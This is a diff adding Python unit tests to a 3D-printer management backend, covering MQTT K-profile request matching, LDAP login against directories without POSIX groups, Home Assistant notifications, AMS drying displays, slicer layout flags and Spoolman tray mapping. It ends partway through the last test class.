+    def test_delete_ack_is_matched_too(self, mqtt_client):
+        seq = mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4")
+        mqtt_client._process_message(
+            {"print": {"command": "extrusion_cali_del", "result": "success", "sequence_id": seq}}
+        )
+        assert mqtt_client._pending_cali_acks[seq]["result"] == "success"
+
+
+class TestKProfileRequestCorrelation:
+    """#1748: K-profile requests timed out whenever two were in flight.
+
+    Responses were matched to requests by nozzle diameter alone, held in one
+    shared ``_expected_kprofile_nozzle`` slot. A second request overwrote the
+    first's expectation, so the first's valid answer was discarded as a
+    mismatch and that request timed out even though the printer had replied.
+    Correlation now runs off the sequence_id we send, with the nozzle match
+    kept as a fallback for firmware that doesn't echo it.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        client = BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1ETEST",
+            access_code="12345678",
+        )
+        client.state.connected = True
+        client._client = MagicMock()
+        return client
+
+    @staticmethod
+    def _response(nozzle, seq, name):
+        return {
+            "print": {
+                "command": "extrusion_cali_get",
+                "nozzle_diameter": nozzle,
+                "sequence_id": seq,
+                "filaments": [{"cali_idx": 1, "filament_id": "GFA00", "name": name, "k_value": "0.020000"}],
+            }
+        }
+
+    @pytest.mark.asyncio
+    async def test_concurrent_requests_each_get_their_own_response(self, mqtt_client):
+        # The failing sequence from the report: 0.8 is requested, then 0.4,
+        # then the 0.8 answer lands. Under nozzle-only matching the expected
+        # slot already said 0.4, so the 0.8 answer was dropped on the floor.
+        seen: list[str] = []
+
+        def publish(_topic, payload, **_kw):
+            seen.append(json.loads(payload)["print"]["sequence_id"])
+
+        mqtt_client._client.publish.side_effect = publish
+
+        big = asyncio.create_task(mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=5.0))
+        small = asyncio.create_task(mqtt_client.get_kprofiles(nozzle_diameter="0.4", timeout=5.0))
+        await asyncio.sleep(0)  # let both publish before either answer arrives
+        assert len(seen) == 2
+
+        mqtt_client._process_message(self._response("0.8", seen[0], "wide"))
+        mqtt_client._process_message(self._response("0.4", seen[1], "narrow"))
+
+        assert [p.name for p in await big] == ["wide"]
+        assert [p.name for p in await small] == ["narrow"]
+
+    @pytest.mark.asyncio
+    async def test_falls_back_to_nozzle_match_when_sequence_id_is_not_echoed(self, mqtt_client):
+        # Firmware that answers with its own sequence_id must keep working.
+        mqtt_client._client.publish.side_effect = lambda *a, **kw: mqtt_client._process_message(
+            self._response("0.6", "9999", "echoed-nothing")
+        )
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.6", timeout=2.0)
+        assert [p.name for p in profiles] == ["echoed-nothing"]
+
+    @pytest.mark.asyncio
+    async def test_unrelated_broadcast_does_not_clobber_a_pending_fetch(self, mqtt_client):
+        # The printer broadcasts 0.4 profiles unsolicited. One arriving while a
+        # 0.8 fetch is open must neither satisfy nor overwrite it.
+        def publish(_topic, payload, **_kw):
+            seq = json.loads(payload)["print"]["sequence_id"]
+            mqtt_client._process_message(self._response("0.4", "9999", "broadcast"))
+            mqtt_client._process_message(self._response("0.8", seq, "wanted"))
+
+        mqtt_client._client.publish.side_effect = publish
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=2.0)
+        assert [p.name for p in profiles] == ["wanted"]
+        assert [p.name for p in mqtt_client.state.kprofiles] == ["wanted"]
+
+    @pytest.mark.asyncio
+    async def test_pending_entry_is_released_on_timeout(self, mqtt_client):
+        # A timed-out attempt must not leave its entry behind, or a later
+        # broadcast would be matched to a request nobody is waiting on.
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=0.01, max_retries=1)
+        assert profiles == []
+        assert mqtt_client._pending_kprofile_requests == {}
+
+
 class TestConnectRefusalReporting:
     """#2698: a refused CONNACK must leave a trace.
 
@@ -7153,3 +7576,122 @@ class TestEndOfPrintProbe:
         probe_lines = [line for line in caplog.text.splitlines() if "EOP-PROBE" in line]
         assert probe_lines
         assert not any("12345678" in line for line in probe_lines)
+
+
+class TestAmsFilamentSettingRefusalLogging:
+    """A refused `ams_filament_setting` reaches the log at INFO (#2756).
+
+    The reporter configured a slot on an X1C six times. Every request returned
+    HTTP 200, every publish carried the complete `GFG99`/`GFSG99` pair, and
+    every #2582 read-back showed the previous profile still in place — with no
+    record anywhere of what the printer answered, because the response sat at
+    DEBUG and support bundles are collected at INFO.
+
+    Only a non-success is promoted. This command is not rare — every spool
+    assignment and every K-profile re-apply sends one — so logging each ack
+    would bury the one line worth reading.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        return BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="TEST123",
+            access_code="12345678",
+        )
+
+    def _refusals(self, caplog):
+        return [line for line in caplog.text.splitlines() if "ams_filament_setting refused" in line]
+
+    def test_refusal_is_logged_at_info_with_result_and_reason(self, mqtt_client, caplog):
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "ams_id": 0,
+                    "tray_id": 1,
+                    "sequence_id": "0",
+                }
+            }
+        )
+
+        refusals = self._refusals(caplog)
+        assert len(refusals) == 1
+        # The reason is the whole point of the promotion — a bare "fail" would
+        # not have told the reporter anything the read-back hadn't already.
+        assert "result=fail" in refusals[0]
+        assert "invalid tray_id" in refusals[0]
+        assert "ams_id=0" in refusals[0]
+        assert "tray_id=1" in refusals[0]
+
+    def test_success_stays_quiet(self, mqtt_client, caplog):
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message(
+            {"print": {"command": "ams_filament_setting", "result": "success", "sequence_id": "0"}}
+        )
+
+        assert self._refusals(caplog) == []
+
+    def test_response_without_a_result_field_stays_quiet(self, mqtt_client, caplog):
+        """Firmware that omits `result` tells us nothing — don't invent a refusal."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message({"print": {"command": "ams_filament_setting", "sequence_id": "0"}})
+
+        assert self._refusals(caplog) == []
+
+    def test_developer_mode_probe_failure_is_not_reported_as_a_refusal(self, mqtt_client, caplog):
+        """The probe sends this command to the external slot *expecting* a
+        refusal on P1 firmware — that is a reading, not a fault, and promoting
+        it would put an alarming line in every P1 bundle on every reconnect."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+        mqtt_client._dev_mode_probe_seq = "7"
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "failed",
+                    "reason": "mqtt message verify failed",
+                    "sequence_id": "7",
+                }
+            }
+        )
+
+        assert self._refusals(caplog) == []
+
+    def test_user_command_is_not_mistaken_for_the_probe(self, mqtt_client, caplog):
+        """User-initiated publishes hardcode sequence_id "0", so a refusal is
+        still reported while a probe is outstanding under a different seq."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+        mqtt_client._dev_mode_probe_seq = "7"
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "fail",
+                    "reason": "",
+                    "sequence_id": "0",
+                }
+            }
+        )
+
+        assert len(self._refusals(caplog)) == 1
+
+    def test_extrusion_cali_sel_is_untouched(self, mqtt_client, caplog):
+        """The sibling in the same branch keeps its DEBUG-only handling; this
+        change is scoped to the write #2756 is about."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message({"print": {"command": "extrusion_cali_sel", "result": "fail", "sequence_id": "0"}})
+
+        assert self._refusals(caplog) == []
+        assert "extrusion_cali_sel" not in caplog.text

+ 88 - 0
backend/tests/unit/services/test_ldap_service.py

@@ -11,6 +11,7 @@ are not tested here — they require a live LDAP server.
 """
 
 import pytest
+from ldap3.core.exceptions import LDAPObjectClassError
 
 from backend.app.services.ldap_service import (
     LDAPConfig,
@@ -297,6 +298,11 @@ class _MockConnection:
 
     _search_fixture: dict[str, list] = {}
     _instances: list["_MockConnection"] = []
+    # Filter substring that should raise LDAPObjectClassError instead of
+    # searching, standing in for ldap3's client-side schema validation — it
+    # rejects an object class the server's published schema doesn't define
+    # before the request is ever built (#2769).
+    _raise_object_class_error_on: str | None = None
 
     def __init__(self, *args, **kwargs):
         self.entries: list = []
@@ -320,6 +326,9 @@ class _MockConnection:
         # **kwargs absorbs ldap3 options like size_limit that the real client supports
         self.search_calls.append(search_filter or "")
         self.last_attrs = list(attributes) if attributes is not None else None
+        needle = _MockConnection._raise_object_class_error_on
+        if needle and needle in (search_filter or ""):
+            raise LDAPObjectClassError(f"invalid class in objectClass attribute: {needle}")
         for needle, entries in _MockConnection._search_fixture.items():
             if needle in (search_filter or ""):
                 self.entries = entries
@@ -333,6 +342,7 @@ def mock_ldap(monkeypatch):
     """Patch Connection + _create_server in ldap_service so authenticate_ldap_user can run offline."""
     _MockConnection._search_fixture = {}
     _MockConnection._instances = []
+    _MockConnection._raise_object_class_error_on = None
     monkeypatch.setattr("backend.app.services.ldap_service.Connection", _MockConnection)
     monkeypatch.setattr("backend.app.services.ldap_service._create_server", lambda config: None)
     return _MockConnection
@@ -433,6 +443,84 @@ class TestAuthenticateLdapUserGroups:
         assert gidnumber_searches == []
 
 
+class TestDirectoryWithoutPosixGroupClass:
+    """A directory whose published schema defines no posixGroup class (#2769).
+
+    ldap3 fetches the schema at connect time (get_info=ALL) and validates object
+    class names in a filter against it before building the request, so both POSIX
+    group searches raise client-side and nothing reaches the server. lldap is the
+    case in the wild: it puts posixAccount on every account it creates, which
+    gives each user a gidNumber, but defines no group class beyond groupOfNames.
+    Left uncaught the exception escaped authenticate_ldap_user and the login route
+    reported it as "Incorrect username or password", so LDAP login was impossible.
+    """
+
+    def test_authenticates_and_keeps_memberof_groups(self, mock_ldap):
+        """The reporter's setup: the mapped membership comes from memberOf, which
+        is read off the user entry and never touches a posixGroup filter."""
+        user_entry = _MockEntry(
+            "uid=peter,ou=people,dc=fablab,dc=test",
+            uid="peter",
+            gidNumber=1001,  # lldap gives every account one
+            memberOf=["cn=AAUStudents,ou=groups,dc=fablab,dc=test"],
+        )
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        info = authenticate_ldap_user(_base_config(), "peter", "password")
+
+        assert info is not None
+        assert info.groups == ["cn=AAUStudents,ou=groups,dc=fablab,dc=test"]
+
+    def test_authenticates_with_no_groups_at_all(self, mock_ldap):
+        """No memberOf either. The user still gets in — auto-provisioning assigns
+        the configured default group, which is the whole point of that setting."""
+        user_entry = _MockEntry("uid=peter,ou=people,dc=fablab,dc=test", uid="peter", gidNumber=1001)
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        info = authenticate_ldap_user(_base_config(), "peter", "password")
+
+        assert info is not None
+        assert info.username == "peter"
+        assert info.groups == []
+
+    def test_abandons_the_primary_gid_search_after_the_first_rejection(self, mock_ldap):
+        """Both filters name the same class, so once one is rejected the other
+        cannot succeed. Attempting it would only produce a second identical
+        exception to swallow."""
+        user_entry = _MockEntry("uid=peter,ou=people,dc=fablab,dc=test", uid="peter", gidNumber=1001)
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        authenticate_ldap_user(_base_config(), "peter", "password")
+
+        service_conn = _MockConnection._instances[0]
+        posix_searches = [call for call in service_conn.search_calls if "posixGroup" in call]
+        assert len(posix_searches) == 1
+        assert "memberUid=peter" in posix_searches[0]
+
+    def test_a_directory_that_defines_the_class_is_untouched(self, mock_ldap):
+        """The guard must not cost a normal directory its POSIX groups — both
+        searches still run and both results still land."""
+        user_entry = _MockEntry("cn=mz,dc=test,dc=com", uid="mz", gidNumber=10002)
+        supplementary = _MockEntry("cn=bambuddy-viewers,ou=groups,dc=test,dc=com")
+        primary = _MockEntry("cn=bambuddy-operators,ou=groups,dc=test,dc=com")
+
+        mock_ldap._search_fixture = {
+            "(uid=mz)": [user_entry],
+            "memberUid=mz": [supplementary],
+            "gidNumber=10002": [primary],
+        }
+
+        info = authenticate_ldap_user(_base_config(), "mz", "password")
+
+        assert info.groups == [
+            "cn=bambuddy-viewers,ou=groups,dc=test,dc=com",
+            "cn=bambuddy-operators,ou=groups,dc=test,dc=com",
+        ]
+
+
 # ---------------------------------------------------------------------------
 # Manual provisioning helpers — search_ldap_users + lookup_ldap_user (#1298)
 # ---------------------------------------------------------------------------

+ 58 - 0
backend/tests/unit/services/test_notification_service.py

@@ -919,6 +919,64 @@ class TestHomeAssistantProvider:
             # field is JSON rather than key=value lines.
             assert payload["data"]["ttl"] == 0
 
+    @pytest.mark.asyncio
+    async def test_send_homeassistant_custom_data_keeps_nested_structures(self, service):
+        """Nested objects and lists reach the notify service unaltered (#1441).
+
+        The three tests around this one all use flat scalars, which is also all
+        the placeholder and the wiki showed — so a user asking whether action
+        buttons work had nothing telling them the field is a verbatim
+        pass-through rather than a key/value list. ``actions`` is the case they
+        asked about: a list of objects, the shape an HA automation writes under
+        ``data.actions``. Nothing between the textarea and the POST inspects the
+        parsed value beyond "is it an object", so this asserts the whole
+        structure rather than a key at a time.
+        """
+        mock_response = MagicMock()
+        mock_response.status_code = 200
+
+        mock_client = AsyncMock()
+        mock_client.post = AsyncMock(return_value=mock_response)
+
+        mock_db = AsyncMock()
+
+        with (
+            patch.object(service, "_get_client", new_callable=AsyncMock) as mock_get_client,
+            patch(
+                "backend.app.api.routes.settings.get_homeassistant_settings",
+                new_callable=AsyncMock,
+            ) as mock_ha_settings,
+        ):
+            mock_get_client.return_value = mock_client
+            mock_ha_settings.return_value = {
+                "ha_url": "http://ha.local:8123",
+                "ha_token": "test-token-123",
+                "ha_enabled": True,
+            }
+
+            actions = [
+                {"action": "SNOOZE_PRINT_FINISHED", "title": "Snooze 20 min"},
+                {"action": "BED_COOL_NOTIFY_ON", "title": "Notify on Bed Cool"},
+            ]
+            config = {
+                "service": "notify.mobile_app_myphone",
+                "data": json.dumps({"ttl": 0, "priority": "high", "group": "3D Printer", "actions": actions}),
+            }
+            success, _ = await service._send_homeassistant(config, "Print Finished", "Print is finished", db=mock_db)
+
+            assert success is True
+            payload = mock_client.post.call_args.kwargs.get("json") or mock_client.post.call_args[1].get("json")
+            assert payload["data"] == {
+                "ttl": 0,
+                "priority": "high",
+                "group": "3D Printer",
+                "actions": actions,
+            }
+            # Spelled out separately: a flattening or scalar-only filter would
+            # still leave the three sibling keys correct, so the equality above
+            # is not on its own evidence that the list survived.
+            assert payload["data"]["actions"] == actions
+
     @pytest.mark.asyncio
     async def test_send_homeassistant_without_data_omits_key(self, service):
         """Without configured data the payload carries no "data" key — the

+ 132 - 4
backend/tests/unit/services/test_printer_manager.py

@@ -10,6 +10,7 @@ import pytest
 
 from backend.app.services.printer_manager import (
     PrinterManager,
+    display_temperatures,
     drying_screen_only,
     get_derived_status_name,
     has_stg_cur_idle_bug,
@@ -1377,9 +1378,10 @@ class TestDryingTargetExposure:
         assert result["ams"][0]["dry_filament"] == "PETG"
         assert result["ams"][0]["dry_target_temp"] == 65
 
-    def test_falls_back_to_loaded_tray_when_no_cache(self):
-        """No cached target → derive from first loaded tray's tray_type +
-        RFID-recommended drying_temp (popover seed heuristic)."""
+    def test_falls_back_to_loaded_tray_filament_when_no_cache(self):
+        """No cached target → name the filament from the loaded trays when they
+        agree on a type. The temperature stays unknown: only the cache records
+        what we actually sent."""
         state = self._state_with_ams(
             {
                 "id": 0,
@@ -1391,7 +1393,7 @@ class TestDryingTargetExposure:
         )
         result = printer_state_to_dict(state, drying_targets=None)
         assert result["ams"][0]["dry_filament"] == "ABS"
-        assert result["ams"][0]["dry_target_temp"] == 70
+        assert result["ams"][0]["dry_target_temp"] is None
 
     def test_returns_none_when_no_cache_and_empty_trays(self):
         """No cache + no loaded tray with tray_type → both fields are None."""
@@ -1419,6 +1421,132 @@ class TestDryingTargetExposure:
         assert result["ams"][0]["dry_filament"] is None
         assert result["ams"][0]["dry_target_temp"] is None
 
+    def test_no_fallback_when_loaded_trays_disagree(self):
+        """#2759 — the reporter's AMS held 2 PETG and 2 PLA and was drying the
+        PLA at 45°C, but the fallback read slot 1 and labelled it "PETG @ 65°C".
+        A mixed unit gives no evidence of what the cycle is running, so the
+        badge must show the countdown alone rather than a confident wrong
+        answer."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 1, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 2, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 3, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] is None
+        assert result["ams"][0]["dry_target_temp"] is None
+
+    def test_fallback_survives_multiple_trays_of_one_type(self):
+        """Agreement across slots is still evidence of the filament — a unit
+        loaded entirely with PLA keeps the name the mixed case gives up."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 2},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+
+    def test_uniform_unit_never_invents_a_temperature(self):
+        """#2759 follow-up — the reporter's second AMS held only PLA and was
+        drying at the 45°C they picked, but with no cached target the badge
+        answered with the RFID recommendation and read "PLA @ 55°C". Every
+        spool agreeing tells us the filament; it tells us nothing about a
+        temperature the user chose freely in the popover."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+        assert result["ams"][0]["dry_target_temp"] is None
+
+    def test_cached_temp_survives_a_unit_whose_trays_disagree(self):
+        """The cache is authoritative for both fields. A mixed unit costs us the
+        filament fallback but must not touch a target we actually sent."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={0: {"filament": "PLA", "temp": 45}})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+        assert result["ams"][0]["dry_target_temp"] == 45
+
+
+class TestDisplayTemperatures:
+    """#1422 — the readings handed to the streaming overlay.
+
+    `state.temperatures` doubles as the MQTT client's working memory: alongside
+    the readings it carries derived heater flags and private timestamps. The
+    overlay feed is reached by a token rather than a login, so it gets an
+    allow-list rather than the dict.
+    """
+
+    def test_keeps_the_readings_the_overlay_draws(self):
+        result = display_temperatures({"nozzle": 219.5, "nozzle_target": 220.0, "bed": 60.0, "bed_target": 60.0}, "X1C")
+        assert result == {"nozzle": 219.5, "nozzle_target": 220.0, "bed": 60.0, "bed_target": 60.0}
+
+    def test_drops_heater_flags_and_private_bookkeeping(self):
+        result = display_temperatures(
+            {
+                "nozzle": 219.5,
+                "nozzle_heating": True,
+                "bed_heating": False,
+                "_nozzle_target_set_time": 1754300000.0,
+                "_chamber_target_set_time": 1754300000.0,
+            },
+            "X1C",
+        )
+        assert result == {"nozzle": 219.5}
+
+    def test_chamber_kept_on_models_with_a_real_sensor(self):
+        result = display_temperatures({"chamber": 38.0, "chamber_target": 40.0}, "X1C")
+        assert result == {"chamber": 38.0, "chamber_target": 40.0}
+
+    def test_chamber_dropped_on_models_without_one(self):
+        """P1P, P1S, A1 and A1 mini publish a meaningless chamber_temper. Drawing
+        it on a live stream would state a measurement that doesn't exist."""
+        for model in ("P1S", "P1P", "A1", "A1MINI"):
+            assert display_temperatures({"nozzle": 200.0, "chamber": 38.0}, model) == {"nozzle": 200.0}
+
+    def test_second_nozzle_is_included(self):
+        result = display_temperatures({"nozzle": 220.0, "nozzle_2": 240.0, "nozzle_2_target": 250.0}, "H2D")
+        assert result == {"nozzle": 220.0, "nozzle_2": 240.0, "nozzle_2_target": 250.0}
+
+    def test_unparseable_and_missing_values_are_skipped(self):
+        """A reading that isn't a number is dropped rather than crashing the
+        feed or reaching the page as a string."""
+        assert display_temperatures({"nozzle": None, "bed": "warm", "chamber": 38.0}, "X1C") == {"chamber": 38.0}
+
+    def test_empty_and_none_are_empty(self):
+        assert display_temperatures(None, "X1C") == {}
+        assert display_temperatures({}, "X1C") == {}
+
 
 class TestSupportsChamberTemp:
     """Tests for supports_chamber_temp helper function."""

+ 109 - 0
backend/tests/unit/services/test_slicer_api.py

@@ -309,6 +309,115 @@ class TestSliceWithProfiles:
 
         assert b'name="arrange"' not in captured["body"]
 
+    @pytest.mark.asyncio
+    async def test_orient_true_emits_form_field(self):
+        """#2548: user-requested auto-orient reaches the sidecar as its own
+        form field, which it turns into ``--orient 1``."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_with_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            printer_profile_json="{}",
+            process_profile_json="{}",
+            filament_profile_jsons=["{}"],
+            orient=True,
+        )
+
+        assert b'name="orient"' in captured["body"]
+
+    @pytest.mark.asyncio
+    async def test_orient_false_omits_form_field(self):
+        """An off flag must be expressed by ABSENCE, never by sending
+        "false". The sidecar branches on ``settings.orient !== undefined``
+        and multipart fields arrive as strings — and ``"false"`` is truthy
+        in JavaScript, so sending it would switch auto-orient ON for every
+        user who left the box unticked."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_with_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            printer_profile_json="{}",
+            process_profile_json="{}",
+            filament_profile_jsons=["{}"],
+            orient=False,
+        )
+
+        body = captured["body"]
+        assert b'name="orient"' not in body
+        assert b"false" not in body
+
+    @pytest.mark.asyncio
+    async def test_profileless_slice_forwards_both_layout_flags(self):
+        """The embedded-settings path and the segfault fallback both run
+        through ``slice_without_profiles``. Arrange / orient are CLI actions
+        on the geometry rather than profile values, so a user's per-slice
+        choice has to survive those routes too (#2548) — before this they
+        could not be expressed there at all."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_without_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            arrange=True,
+            orient=True,
+        )
+
+        body = captured["body"]
+        assert b'name="arrange"' in body
+        assert b'name="orient"' in body
+
+    @pytest.mark.asyncio
+    async def test_profileless_slice_defaults_omit_layout_flags(self):
+        """The filament-discovery preview also uses this method and passes
+        neither flag — it must keep sending the pre-#2548 payload, since
+        rearranging objects would not change which slots a plate consumes
+        but would burn the arrange pass on every preview."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_without_profiles(model_bytes=b"x", model_filename="Cube.3mf")
+
+        body = captured["body"]
+        assert b'name="arrange"' not in body
+        assert b'name="orient"' not in body
+
     @pytest.mark.asyncio
     async def test_multi_filament_sends_one_part_per_profile(self):
         # Multi-color slicing requires N filament profiles, in plate-slot

+ 243 - 0
backend/tests/unit/services/test_spoolman_slot_mapping_fallback.py

@@ -0,0 +1,243 @@
+"""Slot-to-tray mapping fallbacks on the Spoolman path (#2768).
+
+Bambuddy only learns a print's slot-to-tray mapping at print start when it can
+intercept the command on the printer's local MQTT request topic, or when the
+print came from its own queue. A print dispatched from Bambu Studio while the
+printer is cloud-bound satisfies neither: the command travels through Bambu's
+broker, so ``ActivePrintSpoolman.slot_to_tray`` is NULL and every slot falls
+through to a positional guess (slicer slot 1 to the first loaded tray, and so
+on). The reporter's X1C was loaded out of slicer order, so all four slots were
+charged to the wrong spool and the archive's filament was rewritten to match.
+
+The internal-inventory writer never had this problem because it resolves the
+mapping at completion, where it can read the printer's own ``mapping`` field or
+colour-match the 3MF slots against the loaded trays. These tests cover giving
+the Spoolman writer the same two fallbacks.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.services.spoolman_tracking import _resolve_slot_to_tray_fallback
+
+
+class _AsyncCtx:
+    """Minimal async context manager yielding a stub db session."""
+
+    def __init__(self, db):
+        self._db = db
+
+    async def __aenter__(self):
+        return self._db
+
+    async def __aexit__(self, *exc):
+        return False
+
+
+def _state(**raw):
+    return SimpleNamespace(raw_data=raw, layer_num=0, total_layers=0, tray_change_log=[])
+
+
+def _patched_pm(state):
+    pm = MagicMock()
+    pm.get_status.return_value = state
+    return pm
+
+
+class TestResolveSlotToTrayFallback:
+    def test_decodes_the_printers_own_mapping_field(self):
+        """The reporter's X1C published mapping=[1, 3, 0, 32768] while their
+        AMS was loaded out of slicer order. Snow-encoded, that is AMS 0 slot 2,
+        AMS 0 slot 4, AMS 0 slot 1, and the AMS-HT — nothing like the
+        positional [0, 1, 2, 3] the fallback-free path assumed."""
+        pm = _patched_pm(_state(mapping=[1, 3, 0, 32768]))
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping == [1, 3, 0, 128]
+        assert source == "mqtt"
+
+    def test_colour_matches_when_the_printer_publishes_no_mapping(self):
+        """A1/P1S/P2S never publish the mapping field. The 3MF's per-slot
+        colours still identify the trays when each one is unambiguous."""
+        pm = _patched_pm(
+            _state(
+                ams=[
+                    {
+                        "id": 0,
+                        "tray": [
+                            {"id": 0, "tray_color": "00FF00FF", "tray_type": "PLA"},
+                            {"id": 1, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                        ],
+                    }
+                ]
+            )
+        )
+        usage = [{"slot_id": 1, "color": "#FF0000"}, {"slot_id": 2, "color": "#00FF00"}]
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, usage)
+
+        assert mapping == [1, 0]
+        assert source == "color_match"
+
+    def test_mapping_field_wins_over_colour_matching(self):
+        """The printer's own field is direct evidence; colour matching is
+        inference. When both are available the field decides."""
+        pm = _patched_pm(
+            _state(
+                mapping=[3],
+                ams=[{"id": 0, "tray": [{"id": 0, "tray_color": "FF0000FF", "tray_type": "PLA"}]}],
+            )
+        )
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping == [3]
+        assert source == "mqtt"
+
+    def test_reports_none_when_neither_fallback_answers(self):
+        """Ambiguous colours and no mapping field: say so rather than invent
+        one. The caller keeps the positional default, which is no worse than
+        before, and the log names the reason."""
+        pm = _patched_pm(
+            _state(
+                ams=[
+                    {
+                        "id": 0,
+                        "tray": [
+                            {"id": 0, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                            {"id": 1, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                        ],
+                    }
+                ]
+            )
+        )
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping is None
+        assert source == "none"
+
+    def test_reports_none_when_the_printer_is_offline(self):
+        """No live state at completion — the printer dropped off after the
+        print. Nothing to read, and no crash."""
+        with patch("backend.app.services.printer_manager.printer_manager", _patched_pm(None)):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping is None
+        assert source == "none"
+
+
+class TestReportUsageUsesTheFallback:
+    """End-to-end through report_usage: the fallback has to reach
+    ``_resolve_global_tray_id`` and change which spool is charged."""
+
+    @staticmethod
+    def _run(tracking, state, spool_by_tag, archive):
+        # The first SELECT fetches the tracking row; every later one fetches the
+        # archive for the colour / type rewrites (#1494, #2563).
+        rows = iter([tracking])
+
+        def _next_row(*_args, **_kwargs):
+            result = MagicMock()
